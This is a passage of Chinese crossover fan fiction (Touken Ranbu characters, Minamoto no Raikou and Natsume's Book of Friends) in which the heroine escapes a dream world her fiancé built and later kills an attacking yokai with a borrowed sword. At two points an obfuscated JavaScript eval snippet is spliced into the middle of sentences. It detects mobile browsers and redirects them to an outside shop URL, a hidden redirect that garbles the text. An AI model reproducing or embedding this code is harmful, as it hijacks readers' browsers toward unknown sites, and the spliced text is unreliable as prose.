源赖光脚步微顿,侧头看她,浅灰色的眼眸在廊下阴影中显得有些幽深:“近日确有些许异常汇报,已派坂田金时带人前去查探。并非大事,不必挂心。” 源赖光伸手,极其自然地为源朝曦拂去落在肩头的一片樱瓣,“你如今只需好好休养,这些琐事有我。” 他的语气温和而肯定,带着不容置疑的掌控感,源朝曦望着对方,忽然想起在“梦”里,那个作为“凤黯”的自己,似乎也是将所有事务都交给了山姥切国广、药研藤四郎和一文字则宗,自己则隐居幕后。 “怎么了?”源赖光问。 “没什么。”源朝曦摇头,将那点莫名的联想压下,文殊丸是强大的阴阳师,源氏的家主,处理这些事务理所当然,而自己或许只是“沉睡”太久,有些分不清梦境与现实了。 午后,源朝曦在庭院中指导养女源祢姬修习灵力控制。 小女孩穿着浅葱色的练习服,小脸绷得紧紧的,努力按照母亲教导的方式,引导体内那与年龄不符的强大灵力凝聚于掌心,额角渗出细密的汗珠。 “放松,祢姬,灵力如同流水,强求反而易散。”源朝曦半跪在她面前,手指轻点她的手腕,一股温和的引导之力渗入,“感受它的流动,然后,轻轻地‘推’出去。” 源祢姬点点头,深吸一口气,再次尝试,这一次,一团朦胧的、带着淡紫色光晕的灵力球在她掌心缓缓成形,虽然不太稳定,但已初具形态。 “母亲!我做到了!”小女孩惊喜地抬头,眼中亮晶晶的。 “做得很好。”源朝曦笑着摸摸她的头,心中却再次划过一丝异样。 “母亲,您以前也会像现在这样,经常教导我吗?”祢姬收了灵力,依偎到她身边,小手拽着她的衣袖,仰起脸,孩子的眼神里带着小心翼翼的探寻,还有一丝不易察觉的茫然。 源朝曦怔住了,记忆中,源祢姬被她和赖光收养时年纪尚幼,自己那时虽疼爱她,但身为源氏巫女,事务繁忙,又因灵力问题时常闭关,真正像这样亲密相处、细致教导的时光似乎并不多。 尤其在“那件事”发生前,她最后的记忆里,祢姬还是个需要乳母照顾稚儿。 可此刻,祢姬问出这个问题时,神态语气却仿佛她们之间一直如此亲近,只是中间隔着一段模糊的、被“沉睡”覆盖的时光。 “当然,母亲只是睡了一觉。”源朝曦听见自己用温柔而肯定的声音回答,手指抚过女儿柔软的发顶,“现在醒了,以后会常常陪着你,教你更多东西。” “嗯!”源祢姬用力点头,将脸埋进她怀里,蹭了蹭。 孩子身上传来干净的皂角香气和淡淡的奶味,如此真实,朝曦拥着她,心底那点疑虑被柔软的温情暂时覆盖。 只是,当源祢姬跑开去追逐一只蝴蝶时,源朝曦的目光落在女儿欢快的背影上,脑海中却突兀地闪过另一幅画面——一个身着白色羽织、兜帽遮面、气息冷冽的年轻女子侧影,眼神在兜帽的阴影下锐利如刀,那身影一闪而过,带着莫名的熟悉感,却又陌生得令人心悸。 源朝曦下意识地伸向袖中,那里空空如也,无骨食并未佩在身边。 文殊丸曾经和她说过,那柄怀剑在她“沉睡”期间,由他代为保管,与三日月宗近一起。 “母亲?”源祢姬跑回来,手里捏着一朵小小的紫苑花,献宝似的递给她,“送给你!” 源朝曦接过花,对孩子露出笑容,将方才那诡异的幻象抛诸脑后。 日子一天天过去,如同最上等的丝绸般光滑而平稳地流淌。 源朝曦逐渐适应了自己“醒来”后的生活。她主持了几场小型的祓禊仪式,灵力运用流畅完美,获得一片赞誉;她与源赖光的婚期被重新商定,就在三个月后的吉日,长老们喜气洋洋,开始筹备盛大的典礼;祢姬的灵力控制进步神速,性格也越发活泼,常常粘着父母,尤其是对“失而复得”的母亲格外依恋。 一切都美好得如同画卷。 白天,源朝曦是受人敬仰的源氏当主巫女;夜晚,在只有她和赖光的私密空间里,她是他的观音姬,他会为她描眉,听她讲述那些光怪陆离的“梦境”片段——她开始越来越多地提及一个叫“T57”的地方,一些叫“刀剑男士”的存在,一条叫“宵雾”的蛇,还有一个代号“胧夜”的、让她感到莫名在意的审神者。 源赖光总是耐心地听着,然后吻去她眼角因为梦境混乱而泛起的泪光,告诉她那都是假的,是神魂未稳的余波。 “可是,感觉那么真实……”有一次,源朝曦蜷缩在源赖光怀里,喃喃低语,“那些战斗,那些等待的眼神,还有一种必须活下去、必须变强的执念……” 源赖光的手臂收紧,将她更深地拥入怀中,下巴抵着她的发顶,声音低沉得仿佛叹息:“那是因为我的观音姬骨子里就是个要强又温柔的人。即使在混乱的梦境里,也会牵挂他人,也会想要守护。但那些都不重要了,现在,你只需守护好自己,让我来守护你,还有祢姬。” 源赖光的话语像最醇厚的酒,让源朝曦微醺,让她沉溺。 是啊,有源赖光在,天塌下来也有他顶着,那些血腥、冰冷、挣扎求存的画面,一定是噩梦,她现在是源朝曦,平安京源氏尊贵的巫女,文殊丸的未婚妻,祢姬的母亲,这才是现实。 但,偶尔违和感还是会像水底的暗礁,不经意地撞上来。 比如,源朝曦发现自己有时会无意识地用指尖在桌面或膝盖上画出一些简单的符纹——那并非源氏传承的术式,结构更古老,更简洁,带着一种近乎本能的熟练。 她问源赖光,他思索片刻,答道:“许是你‘沉睡’时,神魂漫游,无意中学到的异域法门,不妨记录下来,或可参考。” 比如,源祢姬有一次在练习射箭时,脱口而出了一句奇怪的调子,不成曲调,却让源朝曦瞬间恍惚,仿佛听见某个本丸手合室里,刀剑撞击的节奏和着类似的哼唱。 比如,她在擦拭三日月宗近时,刀身映出她自己的眼睛,那一刹那,灰蓝色的眼眸深处似乎掠过一丝极淡的金芒,冰冷而妖异,像极了梦中宵雾的竖瞳,她惊得差点脱手,再看时,已一切如常。 最让她不安的一次是在一次家族宴会上,席间,一位远支的堂兄多喝了几杯,说起近来京都流行的趣谈,提及有海外商船带来奇闻,说在遥远的“异邦”,有人能召唤古物之灵作战,建立名为“本丸”的城池,守护历史云云,满座皆当奇谭笑谈,源朝曦手中的玉箸却“啪”地一声轻响,断成两截。 满座俱静。 源赖光不动声色地接过断裂的玉箸,温言道:“许是工匠疏忽,回头换一副便是。” 当晚,她辗转难眠,异邦、召唤古物之灵、本丸、守护历史……这些词汇组合在一起,指向性太强了。 难道她的“梦”并非空穴来风? 难道真的存在另一个世界,存在着“审神者”和“刀剑男士”? “睡不着?”身侧的源赖光转过身,将她揽入怀中,温热的手掌抚过她的背脊。 “文殊丸,你听说过时之政府吗?”源朝曦在源赖光的怀中低声问,声音带着自己都未察觉的颤抖。 她感到拥着她的手臂几不可查地僵硬了一瞬,但那感觉消失得太快,快得像是错觉。 “未曾听闻。”他的声音从头顶传来,平稳如常,“又是梦里的东西?” “或许吧。”源朝曦把脸埋进源赖光胸膛,听着那稳健的心跳,一下,又一下,规律而有力,驱散着她心中的寒意。 是梦,一定是梦。 如果那是真的,文殊丸怎么会不知道? 如果存在那样的组织,他一定知晓,甚至可能……不,不能再想下去了。 源朝曦用力抱住源赖光,仿佛这是唯一的浮木。 “别怕,我在这里,没有任何东西能伤害你,也没有任何虚幻能把你带走。”源赖光吻了吻源朝曦的发顶,声音低柔如催眠曲,“睡吧,观音姬。” 在源赖光的气息和低语中,源朝曦渐渐沉入黑暗。 梦境再次降临,这一次,不再是战场或病房,而是更久远的、模糊的孩提时光,她在源氏大宅里奔跑,身后传来母亲温柔的笑声和父亲沉稳的呼唤……那些记忆早已模糊,此刻却清晰得令人流泪。 翌日,一切如常,仿佛昨夜那瞬间的惊悸从未发生。 源朝曦感到源赖光待她越发温柔体贴,几乎到了寸步不离的地步;源祢姬也格外乖巧,练字、习术、学琴,进步飞快,小脸上总是洋溢着快乐的笑容;族中事务被赖光处理得井井有条,她需要做的,似乎只是安心待嫁,享受这失而复得的圆满。 直到那日,她独自在源氏藏书阁最深处的禁书区查阅古籍,那里收藏着许多古老甚至危险的秘术记载,寻常人不得入内,她想找找看是否有关于“神魂离体漫游异界”或“灵力印记共鸣”的记载,试图为自己那些挥之不去的“梦境” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190196|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻找一个合理的、属于这个世界解释。 指尖划过一排排蒙尘的卷轴,忽然,源朝曦的目光停在了一个看似普通、却以特殊符文封存的紫檀木盒前。 盒子上没有标签,但那封印的符文她认识,那是源赖光独创的封印术式之一,用于封存极其重要或危险之物。 源朝曦鬼使神差般的伸出手,指尖凝聚灵力,按照记忆中断续的、不知从何而来的印象,轻轻勾勒了几个反向的符文——那手法,竟有点像她在T57本丸时,为了屏蔽狐之助监视而随手施展的小技巧。 “咔哒”一声轻响,封印松动了。 源朝曦的心跳陡然加速,她深吸一口气,打开了木盒。 里面没有卷轴,没有秘籍,只有两件物品。 一件,是一柄短小精悍、刃身泛着幽蓝寒光的怀剑——无骨食,它静静地躺在绒布上,仿佛只是暂居于此。 另一件,是一枚半个巴掌大小、色泽沉黯、形似乌鸦翎羽的漆黑玉石,玉石表面光滑,内部却仿佛有幽光流转,透着一股难以言喻的、既神圣又诡谲的气息。 在看到黑羽玉石的刹那,源朝曦如遭雷击,整个人僵在原地。 这玉石……她记得! 不,不是记得,是某种更深层次的灵魂都在震颤! 为什么源氏禁地的藏书阁里会有这种东西?为什么它会被文殊丸用独门封印术藏在这里?无骨食在这里尚可解释,但这黑羽玉石…… 混乱的思绪如同沸腾的开水,无数画面在脑海中冲撞:狭间无尽的黑暗与星光,八岐大蛇带着慵懒笑意的猩红竖瞳,自己作为“祭品”被献上时的平静,成为“小乌”后漫长的漂泊与观察,浅井茶茶的眼泪与火焰,还有T57本丸天守阁窗口,那望向灰蒙天空的、属于“凤黯”的平静目光。 “观音姬?” 源赖光的声音突然在身后响起,平静无波,却让源朝曦猛地一颤,手一松,黑羽玉石“啪”地一声掉回绒布上。 她僵硬地转身,看见源赖光不知何时已站在书架阴影处,他依旧穿着深紫色的常服,脸上没有什么表情,只是那双浅灰色的眼眸此刻深邃得如同不见底的寒潭,定定地看着她,又看向她手中打开的木盒以及盒中的无骨食和黑羽玉石。 空气仿佛凝固了,藏书阁内寂静无声,只有尘埃在从高窗射入的光柱中缓缓浮沉。 “我……我只是想找些资料……”源朝曦听到自己的声音干涩无比,她想解释,想问他这是什么,但话语堵在喉咙里。 源赖光一步步走近,最后在源朝曦面前停下,目光掠过无骨食,最终定格在那枚黑羽玉石上,他伸出手,指尖轻轻拂过玉石光滑的表面,动作轻柔得近乎诡异。 “没想到你会找到这里。”他低声说,语气听不出喜怒,“还打开了它。” “文殊丸,这是……”源朝曦的心不断下沉,某种可怕的猜测正在成形。 “这是你的一部分,观音姬。”源赖光抬起眼,看向她,紫色的眼眸中翻涌着她从未见过的复杂情绪——痛苦、眷恋、歉疚以及一种近乎偏执的坚定,“或者说,是你曾经留在现世的‘印记’。我花了很大力气,才将它从时空的缝隙中收集、稳固下来。” “我的印记?”源朝曦后退一步,背脊抵上冰冷的书架。 “可我不是在这里吗?我醒了,我回来了!这是什么意思?那些梦……那些不是梦,对不对?”她的声音开始发抖。 “那些是真实发生过的碎片,是你另一部分灵魂和意识的经历。”源赖光没有否认,他上前一步,握住她冰冷的手,力道很大,不容挣脱。“但那些都不重要了,观音姬。重要的是,你现在在这里,在这个我为你、为祢姬、也为我们共同构建的‘现实’里。这里有你想要的一切:健康、力量、家族、我,还有祢姬。没有牺牲,没有分离,没有永无止境的战斗和漂泊。” 他捧起她的脸,迫使她直视他的眼睛:“留在这里,观音姬。永远留在这里。外面的世界太残酷,你经历了太多痛苦。这个梦境……这个我们共同的家,才是你应有的归宿。” 梦境! 这两个字如同最后的判决,击碎了源朝曦心中最后一丝侥幸。 巨大的荒谬感和被欺骗的痛楚席卷了源朝曦,她挣扎着想推开他,泪水不受控制地涌出:“不!这不是真的!祢姬呢?祢姬也是梦吗?你把她也拖进了这个谎言?!” “祢姬她需要你,观音姬!”源赖光的声音陡然提高,带着压抑的情感,“她那么小就失去了你,她一直在思念你!在这个梦境里,她有了完整的家,有了父母的疼爱!难道你忍心让她再次面对失去母亲的痛苦,让她独自在那个冰冷陌生的世界里挣扎吗?你忍心吗?!” 源赖光的质问像刀子一样扎进她心里,源祢姬天真快乐的笑脸浮现在眼前,孩子依恋的眼神,软软的呼唤…… 是啊,祢姬,她的女儿,如果这一切是梦,那祢姬此刻沉浸的快乐,是否也如泡沫般虚幻?若她执意醒来,是否等于亲手打碎孩子的美梦,将她抛回可能同样艰难甚至危险的现实? 见她动摇,源赖光的语气缓和下来,带着无尽的恳求:“观音姬,听我说。我那边的战争还未结束,时空壁垒的跨越比想象更难。但我发誓,我一直在想办法,我会找到真正接你们回家的路。但在那之前,这里是最安全的港湾。留在这里,等我。为了祢姬,也为了我们。” 源赖光的眼神如此真挚,痛苦与爱意交织,让人无法怀疑他的用心。 源朝曦望着他,泪水模糊了视线。留下,沉溺在这个完美的梦境里,享受虚假的安宁和团圆;或者醒来,面对未知的、伤痕累累的现实,可能再次与他和祢姬分离…… 就在源朝曦心神剧烈动摇之际,藏书阁的门被猛地推开。 源祢姬气喘吁吁地站在门口,手里紧紧抓着一个东西,小脸上满是惊恐和泪水。她 看到父母对峙的场景,愣了一下,随即举起手中的东西——那是一个手工粗糙、却编得十分用心的草编小鸟,鸟喙处,一点细微到几乎看不见的紫黑色鳞片碎片,在光线下反射出诡异的幽光。 “父亲……母亲……”祢姬的声音带着哭腔,充满了困惑和恐惧,“我在院子里……发现了这个……它、它好像在发烫……还有,我好像……听见蛇的声音?可是我们家里没有蛇啊……母亲,父亲,到底……怎么了?我们是不是……在做梦?” 孩子的直觉,往往是最敏锐的,那草编小鸟显然是“外面”的东西,那鳞片碎片带着宵雾特有的气息,这个梦境开始出现无法自圆其说的“杂质”了。 源赖光的脸色瞬间变得极其难看,他看向源祢姬手中的草编小鸟,又看向泪流满面、眼神挣扎的源朝曦,最后目光落回那枚静静躺在木盒中的黑羽玉石上。 整个空间开始剧烈地震荡起来,书架摇晃,卷轴坠落,窗外的庭院景色如同被投入石子的水面般扭曲、破碎,源赖光的身影也开始变得不稳定,时而清晰,时而透明。 “看来时间到了。”他低语,声音里充满了无尽的疲惫和苦涩。他深深地看了源朝曦一眼,那一眼包含了千言万语,最终化为一句几乎听不见的叹息,“记住,活下去,无论在哪里。” 然后,他猛地抬手,一股柔和却强大的力量将源朝曦和祢姬向后推去! “醒来——!” 39.第三十九章 “夏目!” “阿鲁金!” 猫咪老师的怒吼与一文字则宗几刃的警示几乎同时响起。 但黑影扑至源朝曦与夏目贵志面前的速度比任何声音更快。 那两只妖怪显然是蓄谋已久,选择在所有人——包括警惕的猫咪老师和训练有素的刀剑们——注意力被对话和夏目贵志的叙述稍微分走的一瞬间发动突袭。 时间仿佛被拉长、扭曲,让夏目贵志只觉得一股腥风扑面,那膨胀扭曲的妖怪黑影已近在咫尺,他甚至能看到那团混沌中闪烁的、充满恶意的眼睛,身体的本能让他想要后退,但脚下却像生了根,丝毫不能移动。 就在夏目贵志以为自己避无可避的刹那,身旁一道白色的身影猛地挡在他的面前——是变回原型的猫咪老师! “夏目!退后!” 圆滚滚、胖乎乎的招财三花猫形态在炫目的白光中消失,取而代之的是一只体型巨大,头部类似狐狸或狼,额头上有手杖型的红色斑纹,眼睛为黄绿色竖瞳,眼睛下方各有两道斑纹的白色巨兽——那是猫咪老师的本体,他发出一声震耳欲聋的咆哮,巨大的爪子裹挟着澎湃的妖力,狠狠拍向扑向夏目的那道黑影。 “轰——” 妖力与妖力碰撞,发出沉闷的巨响,气浪将周围的草木吹得东倒西歪,夏目贵志被气浪掀得一个趔趄,但友人帐依旧被他紧紧护在怀中。 就在猫咪老师的本体与扑向夏目贵志的那道黑影碰撞的瞬间,另一道黑影也已经扑至源朝曦面前,距离源朝曦最近的药研藤四郎瞳孔骤缩,短刀出鞘的寒光刚刚亮起,但黑影的速度太快,距离也太近了,让他几乎能预见到那利爪撕裂皮肉、鲜血飞溅的场景。 就要这样结束了吗?! 我们T57本丸将要再次回归到朝不保夕的状态了吗?! 然而,药研藤四郎几刃预想中的惨剧并未发生。 就在那黑影裹挟着腥风邪气扑至源朝曦面前的瞬间,她甚至没有后退半步,只是微微抬起那只苍白、纤细,看起来仿佛连重物都难以提起的手。 下一瞬,一文字则宗只觉得腰间骤然一轻,一直佩于身侧的本体太刀已经在无声无息间落入那只手中,对方的动作流畅自然,仿佛那刀本就是她的所有物,而非经由一瞬的夺取。 源朝曦夺刀的速度太快了,快得超出了在场所有人、刃与妖怪的认知。 一文字则宗甚至来不及做出任何反应,只是瞳孔骤缩,指尖还保持着虚握刀柄的姿势,而他的本体——那振优雅修长的太刀——已然落入源朝曦掌心。 夺刀、出刀,两个动作几乎在同时完成,流畅得仿佛演练过千百遍,却又带着一种生涩与不协调。 源朝曦甚至没有摆出任何标准的剑道架势,只是手腕一翻,太刀的刀锋便化作一道冰冷的、几乎割裂光线的弧光迎着那团扑来的妖怪斜斜掠去,她的动作看起来随意,甚至带着久病之人的迟滞感,但刀锋所过之处,空气却发出细微的、被撕裂般的尖啸。 那团扑向她的妖怪甚至来不及做出任何反应,扭曲膨胀的躯体就那样突兀地僵在半空,随即发出一声凄厉到不似生物所能发出的尖嚎,整个形体如同被投入烈火的蜡像般迅速崩解、消散,化作一蓬混杂着焦臭与腥气的黑烟,被紧随刀锋而来的、无形的力量彻底绞碎、湮灭。 从妖怪扑近到源朝曦夺刀、挥刀,再到黑影彻底消散,整个过程不过呼吸之间。 夏目贵志抱着友人帐,脸色苍白,眼睛瞪得大大的,几乎不敢相信自己刚才看到的一切。 “???” 猫咪老师巨大的兽瞳猛地收缩,拍向另一只妖怪的爪子都因为震惊而顿了顿,让那只妖怪差点儿趁机脱离。 空地陷入一片诡异的死寂,唯有林间的风拂过枝叶发出轻微的沙沙声以及猫咪老师与另一只妖怪搏斗的余波在空气中缓缓扩散。 所有人的目光都聚焦在那个持刀而立的身影上。 源朝曦依旧保持着挥刀后的姿态,纤细的手稳稳握着那振原本属于一文字则宗的太刀,刀身光洁如镜,映着透过叶隙洒落的点点天光,上面不沾丝毫妖血,仿佛刚才那雷霆一击斩灭的并非凶恶的妖怪,只是一缕微不足道的尘埃。 夏目贵志怔怔地看着那个持刀而立的背影,微风拂过林间,吹动她束起的红发和深紫色羽织的衣摆,方才那一刀带来的凛冽杀意仿佛只是幻觉,此刻的她看起来依旧是那副苍白病弱的模样,甚至因为刚才的动作呼吸略微急促了些许,握着太刀的手指骨节分明,微微泛白。 但夏目贵志知道,那绝不是幻觉,那个让猫咪老师都感到有些棘手的妖怪,在她手下连一息都没能撑过。 “大将!”药研藤四郎第一个冲到源朝曦面前,迅速检查她的状态,确认她没有受伤,只是气息有些不稳后才稍稍松了口气,但看向她手中那振太刀的眼神依旧复杂——太快了,快到他甚至来不及反应,这绝不是一个“病弱”之人该有的身手。 一文字则宗站在原地,脸上惯有的笑容已经完全消失,取而代之的是一种近乎空白的错愕——他的本体刀此刻正握在别人手中,而他自己竟然是在刀被夺走、斩杀了妖怪之后,才后知后觉地反应过来。 一文字则宗下意识地摸了摸自己空荡荡的腰间,又抬眼看向源朝曦,天光下,她的侧脸轮廓清晰,眉宇间那抹极淡的、似乎因被打扰或被冒犯而产生的不悦已经如烟云般消散无踪,只剩下深海般的平静,她甚至没有看他一眼,仿佛刚才夺走的并非一振付丧神至关重要的本体,而只是一件随手可用的工具。 “还……挺利落。”猫咪老师巨大的兽瞳眯了眯,低沉的声音带着一丝不易察觉的凝重,这个人类女性身上充满了矛盾——病态的外表,深不可测的灵力以及刚才那惊鸿一瞥、精准到可怕的斩杀技艺,那不是依靠蛮力或速度可以用出来的,更像是一种本能,或者说,千锤百炼后融入骨血的东西,即便在如此虚弱的躯体里,依旧能在被触及时骤然亮出獠牙。 “抱歉,则宗殿。”源朝曦终于开口,声音依旧平和,带着一丝运动后的微喘,她手腕一翻,太刀在空中划过一个简洁的弧度,刀柄向前,递还给一文字则宗,“事急从权。” 一文字则宗几乎是本能地接过被源朝曦递还的本体,指尖触及那温润的刀柄时,才真正确认了刚才那电光石火间发生的一切并非幻觉。 刀身入手,传来熟悉的感觉,但不知为何,一文字则宗总觉得那上面似乎还残留着一丝极其微弱的、属于源朝曦的、冰冷而浩瀚的灵力余韵以及一种仿佛被更高等存在短暂“使用”过而产生的奇异滞涩感。 这让一文字则宗下意识地握紧手中刀柄,手指缓缓收紧,试图驱散那点陌生感,脸上的笑容在僵硬了一瞬后重新浮现,但那双总是半眯着的眼眸深处,却翻涌着前所未有的震惊与审视。 “阿鲁金言重了,能为您所用,是老头子我的荣幸。” 一文字则宗的声音恢复了惯有的从容,甚至带着一丝恰到好处的谦恭,他优雅地收刀入鞘,动作流畅自然,仿佛刚才那惊心动魄的夺刀与斩杀从未发生,但他的目光却再难从源朝曦那苍白却平静的侧脸上移开。 这位看似病弱的主君到底还藏着多少不为人知的面目? “抱、抱歉。”夏目贵志下意识地开口,打破了这片平静,却不知道自己应该为何而道歉,是为自己方才的警惕,还是为将这样的“存在”卷入了麻烦? 源朝曦的目光从一文字则宗手中接过的、已经归鞘的太刀上移开,转向夏目贵志,灰蓝色的双眼依旧平静,仿佛刚才那雷霆一击并非出自她手。 “无妨。”她的声音带着一丝运动后的轻微沙哑,却依旧清晰,“看来此地确实不太平。夏目君,你还好吗?” 夏目贵志连忙点头,又看向还在猫咪老师爪下挣扎、发出呜咽的另一只妖怪,那妖怪似乎被同伴的瞬间湮灭吓破了胆,挣扎的力道都小了许多,眼中充满了恐惧。 空气中弥漫着林间草木的清新气息与方才那两股妖力碰撞、消散后留下的、微弱的焦灼味道,混合成一种奇特的、紧绷后的余韵。 夏目贵志的目光不自觉地再次投向源朝曦,这位突然出现的、自称“旅人”的女性。她看起来依旧苍白,呼吸也因刚才的动作而略显急促,可那副沉静到近乎漠然的神态以及瞬间夺刃、斩灭妖怪的雷霆手段,与他认知中任何“病弱”或“普通”的存在都相去甚远。 猫咪老师巨大的兽爪下,那只幸存的妖怪已经彻底蔫了,发出细微的、恐惧的呜咽,再不复方才的凶恶,猫咪老师冷哼一声,爪下微微用力,那妖怪便彻底僵住,不敢再动。 “看来,我们确实可以谈谈了。” 猫咪老师低沉的声音打破了寂静,它的黄绿色竖瞳审视着源朝曦和她身后的刀剑们,目光尤其在源朝曦身上多停留了一瞬,“至少,你们看起来不像是那些只会添麻烦的笨蛋。” “感谢您的认可。” 一文字则宗适时地开口,脸上重新挂起了那副从容的微笑,仿佛刚才被夺走本体的插曲从未发生,但他的站姿却比之前更加挺直,目光也更为专注,“方才的袭击证实了我们的判断——此地确有‘异常’存在,并且它们对夏目君,或者说,对夏目君所持有的‘名字’相关之物抱有明确的恶意。” 夏目贵志深吸一口气,抱着友人帐的手臂放松了些许,但眼中的戒备并未完全消散:“你们刚才说的‘时间溯行军’、‘篡改历史’……那些究竟是什么?和友人帐,和归还妖怪名字这件事又有什么关系?” “这正是我们想要查明的事情。” 源朝曦的声音响起,她微微侧身,示意药研藤四郎上前。 药研藤四郎上前一步,站到源朝曦侧前方些许的位置,既保持了护卫的姿态,又不会显得过于压迫,他的声音冷静而条理清晰,又带着明显的专业感:“首先,我们需要了解更具体的情况,方才袭击你们的妖怪是否常见?它们是目标明确的指向夏目君你,还是你手中的册子?” 夏目贵志看了一眼还在猫咪老师爪下瑟瑟发抖的妖怪,迟疑道:“最近在八原森林里,这种带着恶意、目标明确的妖怪比平时多了不少,以前大多是一些偶然相遇、或者有所求的妖怪……至于目标,有些是直接冲着我来的,有些则是在我归还名字的时候突然出现,试图干扰甚至抢夺正在归还的‘名字’。” “抢夺归还过程中的‘名字’?” 一文字则宗敏锐地抓住了重点,“也就是说,在‘名字’的归属状态发生改变——从被束缚于册中到回归原主——的这个‘瞬间’,是最容易被干扰或夺取的?” “应该是的。” 夏目贵志有些犹疑的点点头,想起几次不太顺利的归还经历,脸色有些凝重,“而且,那些黑漆漆的家伙——你们说的时间溯行军——出现的时候,这种感觉会更明显,它们好像特别擅长抓住那种‘不稳定’的瞬间。” “这就说得通了。” 一文字则宗用扇子轻轻敲击掌心,眼中闪过一丝了然,“‘名字’的转移,尤其是涉及真名、契约的转移,会短暂地动摇其与原有‘存在’及‘历史’的绑定,产生可以被外力介入的‘缝隙’,时间溯行军很可能就是利用这种‘缝隙’,试图窃取或篡改这些‘名字’,进而达成它们干扰特定历史脉络的目的。” “而夏目君你刚才提到你持有一本‘友人帐’,并且里面记录了大量妖怪的真名,而你持续的归还妖怪名字的行为等于在不断制造这种‘缝隙’。” 源朝曦缓缓开口,灰蓝色的眼眸注视着夏目,“你本身以及这本友人帐就成为了一个持续的、高频率的‘异常点’,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213138|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然吸引了那些以篡改历史为目标的存在的目光。” 夏目贵志感到一阵寒意从脊椎窜起,他下意识地抱紧了怀中的友人帐,一直以来,他都将归还名字视为一种责任以及对那些被束缚了名字的妖怪们的承诺,他从未想过,这件事本身竟然蕴含着如此巨大的风险,甚至可能引来涉及时间与历史的可怕敌人。 “那、那我应该怎么办?” 夏目贵志的声音有些干涩,“停止归还名字吗?” 但是这个念头被他说出口的时候就已经让夏目贵志感到一阵窒息般的难受。 “停止?” 猫咪老师嗤笑一声,巨大的爪子微微用力,爪下的妖怪发出一声哀鸣,“笨蛋夏目,你以为停下就万事大吉了?那些家伙既然盯上了这里,盯上了这本册子,你觉得它们会因为你停下就放过你?恐怕他们只会变本加厉,用更激烈的手段来夺取!” 药研藤四郎推了推眼镜,冷静地分析:“从战术角度看,停止行动确实可能暂时降低‘缝隙’产生的频率,但这个行为只能治标不治本。敌人已经确认目标,退缩只会让对方更清楚我们的弱点所在。而且,夏目君,你方才说有些名字在归还后也出现了异常,这说明问题可能已经不仅仅局限于‘归还瞬间’,‘名字’本身的状态或许已经受到了某种程度的污染或影响,需要排查和清理。” “药研殿说得对。” 一文字则宗点头,“当务之急,是厘清现状,评估威胁等级,制定对策。夏目君,我们需要更详细的信息,包括:第一,最早出现异常的具体案例;第二,所有出现归还异常的名字及其原主目前的状况;第三,你遭遇时间溯行军的次数、地点、对方的行为模式;第四,八原附近是否还有其他异常的灵力波动或事件。” 他顿了顿,目光扫过源朝曦略显疲惫却依旧沉静的侧脸,补充道:“当然,如果方便的话。我们理解你的警惕,但信息共享是合作的基础,也能帮助我们更有效地排除威胁,保护这片土地和居住于此的存在——包括你自己以及你重视的那些妖怪朋友们。” 一文字则宗的话语条理分明,既点明了利害,又给予了夏目贵志选择的空间,没有逼迫,却句句在理。 夏目贵志沉默片刻,目光与猫咪老师巨大的兽瞳对视了一眼,从对方眼中看到了同样的凝重与权衡。 猫咪老师虽然总是嘴硬,但夏目贵志知道,它比任何人都更在乎自己的安全,也更清楚眼前的局面,刚才源朝曦那一刀展现的实力以及这些“旅人”表现出来的专业性和似乎确实与时间溯行军敌对的态度,让合作的必要性增加了。 “我明白了。” 夏目贵志深吸一口气,做出了决定,“我可以告诉你们我知道的情况。但是,关于友人帐和妖怪们的具体信息,有些涉及他们的隐私,我不能全部透露。” “合理。” 源朝曦颔首,她的声音带着一丝不易察觉的疲惫,但目光依旧清明,“我们尊重你的决定,也理解你对友人的保护。那么,先从可以共享的部分开始吧。” 接下来的时间,在森林边缘这片刚刚经历了一场短暂冲突的空地上,一场信息交换在略显紧绷但逐渐缓和的气氛中进行。 夏目贵志讲述了他这几个月来的遭遇:从最早出现的异常到后面自己逐渐察觉不对,再到现在与友人帐毫无关系的本地小妖怪逐渐被牵连。 夏目贵志还提到几次遭遇时间溯行军的经历,那些存在行踪诡秘,一击不中便迅速退去,似乎并不以直接杀伤为目标,更像是在试探、观察,或者在寻找什么。 源朝曦一行静静地听着,药研藤四郎偶尔会追问一些细节,比如异常发生时的具体环境、灵力波动特征、妖怪事后的精神状态变化等。 一文字则宗则结合夏目贵志的描述,与自己已知的时间溯行军行为模式进行比对分析。 笑面青江和千子村正保持着警戒,次郎太刀看似放松地靠在一棵树干上,但目光始终没有离开周围的森林,小夜左文字依旧隐匿在阴影中,如同一个无声的守护者。 圆滚滚的小妖怪早就躲到了夏目贵志脚边,紧张地听着这些它似懂非懂的谈话。 “……大概就是这些了。” 夏目贵志说完,感觉有些口干舌燥,同时也松了一口气,将这些困扰倾诉出来,哪怕对象是陌生的“旅人”,也让他心头沉重的压力稍稍减轻了一些。 “感谢你的信任,夏目君。” 源朝曦的声音响起,她微微抬手,示意药研藤四郎,药研藤四郎会意,从随身的储物袋中取出一个水囊递给夏目。 夏目贵志愣了一下,道谢后接过,清凉的水滋润了喉咙,也让他对这群人的观感又微妙地变化了一分。 